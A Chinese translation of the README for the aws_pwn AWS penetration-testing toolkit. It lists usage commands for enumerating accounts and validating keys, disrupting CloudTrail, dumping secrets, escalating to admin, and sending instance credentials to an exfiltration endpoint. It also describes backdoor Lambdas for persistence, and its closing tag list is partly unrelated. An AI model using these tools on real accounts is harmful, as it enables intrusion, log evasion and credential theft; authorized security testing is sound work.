dagrz/aws_pwn
GitHub: dagrz/aws_pwn
一套粗犷但实用的 AWS 渗透测试脚本集合,覆盖云环境攻击全生命周期的各个阶段。
Stars: 1224 | Forks: 193
# AWS pwn
## 概述
这是一组编写极其糟糕的脚本集合,用于执行与 AWS 渗透测试相关的各种任务。如果它对你的环境不起作用,请不要难过。这可能是因为自工具编写以来 AWS 已经发生了变化,也可能是代码本身写得太烂。无论哪种情况,都欢迎大家积极贡献。
这里的大部分垃圾代码由 Daniel Grzelak 编写,但也有许多其他人的贡献,其中最突出的是 Mike Fuller。
## 环境要求
```
pip install -r requirements.txt
```
请确保已在 `~/.aws/credentials` 中[配置你的 aws 凭证](https://github.com/boto/boto3#quick-start)。
## 信息收集
与获取前置权限阶段的信息收集相关的操作。
* validate_iam_access_keys.py - 给定一个包含访问密钥 + Secret [+ 会话令牌] 组合的 TSV 文件,检查访问权限的有效性并返回主体的身份信息。
```
./validate_iam_access_keys.py -i /tmp/keys.txt -o /tmp/out.json
```
* validate_s3_buckets.py - 给定一个每行一个词的文本文件,检查相应的 S3 存储桶是否存在,并返回基本的识别信息。
```
./validate_s3_buckets.py -i /tmp/words.txt -o /tmp/out.json
```
* validate_iam_principals.py - 给定一个包含主体(如 user/admin, role/deploy)的文本文件,检查这些主体是否存在于指定的账户中。
```
./validate_iam_principals.py -a 123456789012 -i /tmp/words.txt -o /tmp/out.json
```
* validate_accounts.py - 给定一个包含账户 ID 和账户别名的文本文件,检查这些账户是否存在。
```
./validate_accounts.py -i /tmp/accounts.txt -o /tmp/out.json
```
## 漏洞利用
帮助你在一个账户中获得初始立足点的工具。
## 隐蔽行动
在入侵账户后,可能有助于你保持隐藏的操作。
* disrupt_cloudtrail.py - 尝试以指定的方式中断或削弱 cloudtrail 日志记录。
```
./disrupt_cloudtrail.py -s
```
## 内部探索
帮助你了解你已经拿下的内容的工具。
* dump_account_data.sh - 调用大量基于账户的通用读取/列表/获取/描述函数,并将数据保存到指定位置。虽然动静很大,但非常适合用于获取某个时间点的快照。
```
./dump_account_data.sh /tmp/
```
## 权限提升
帮助你在账户中横向移动并收集不同级别访问权限的工具。
* dump_instance_attributes.py - 遍历账户中的每个 EC2 实例,并检索指定的实例属性。通常用于检索 userData,因为它往往包含密钥等敏感信息。
```
./dump_instance_attributes.py -u -o /tmp/
```
* dump_cloudformation_stack_descriptions.py - 检索所有现有堆栈以及过去 90 天内删除的所有堆栈的堆栈描述。堆栈描述中的参数通常包含密码和其他敏感信息。
```
./dump_cloudformation_stack_descriptions.py -o /tmp/data
```
* assume_roles.py - 尝试代入文件中或由 list-roles API 提供的所有角色 (ARN)。
```
./assume_roles.py -o /tmp/out.json
```
* add_iam_policy - 向指定的用户、角色或组添加管理员权限及所有操作的策略。需要具有 IAM putPolicy 或 attachPolicy 权限。
```
./add_iam_policy.py -u myuser -r myrole -g mygroup
```
* bouncy_bouncy_cloudy_cloud - 重启指定的 ec2 实例并重写其 userData,以便你可以执行任意代码或窃取临时的实例配置文件凭证。
```
./bouncy_bouncy_cloudy_cloud.py -i instance-id -e exfiltration-endpoint
```
## 权限维持
帮助你维持对账户访问权限的工具。
* rabbit_lambda - 一个示例 Lambda 函数,通过创建被删除用户的更多副本来响应用户删除事件。
* cli_lambda - 一个充当 aws cli 代理且不需要凭证的 Lambda 函数。
* backdoor_created_users_lambda - 一个为每个新创建的用户添加访问密钥的 Lambda 函数。
* backdoor_created_roles_lambda - 一个为每个新创建的角色添加信任关系的 Lambda 函数。
* backdoor_created_security_groups_lambda - 一个为每个新创建的安全组添加指定入站访问规则的 Lambda 函数。
* backdoor_all_users.py - 为账户中的每个用户添加访问密钥。
* backdoor_all_roles.py - 为账户中的每个角色添加信任关系。需要编辑文件以设置角色 ARN。
* backdoor_all_security_groups.py - 为账户中的每个安全组添加指定的入站访问规则。需要编辑文件以设置该规则。
## 数据窃取
帮助你以 AWS 的方式提取和传输数据的工具。
* dynamodump - https://github.com/bchew/dynamodump
## 杂项
其他我因为太蠢或太懒而未能分类的东西。
* reserved_words.txt - 包含一些在 AWS 中具有特殊含义或可能即将具有特殊含义的单词/标记列表。
* endpoints.txt - AWS 暴露的 API 端点的最新列表。
* integrations.txt - 包含通过角色或访问密钥与 AWS 集成的服务及其账户 ID、默认用户名等信息的 TSV 文件。
* download_docs.sh - 用于 wget 下载所有 AWS 文档的命令行,因为我太笨了,每次都要浪费时间重新写。
## 待办事项
* 为用户添加密码以维持持久性
* 导出堆栈资源
* 验证 mfa
* 向 dump_account_data 添加更多调用
* 添加更多日志中断方法
* 创建一个 cloudtrail 解析脚本,用于从 cloudtrail 中提取有用信息
* 创建一个 S3 存储桶权限枚举工具
* 创建一个从磁盘常见位置抓取 AWS 凭证的工具
* 创建克隆工具
* 创建一个使用 passrole 的愚蠢的权限提升工具
* 验证队列
* 验证通知主题
* 修改持久化脚本,使其使用参数而不是脚本内部的常量
标签:AWS, AWS漏洞, CloudTrail禁用, DPI, IAM枚举, Pentest, Python, S3存储桶扫描, 云合规, 云攻击, 云环境探测, 凭据验证, 协议分析, 反取证, 安全评估, 应用安全, 插件系统, 数据展示, 无后门, 无线安全, 权限提升, 红队, 资产收集, 逆向工具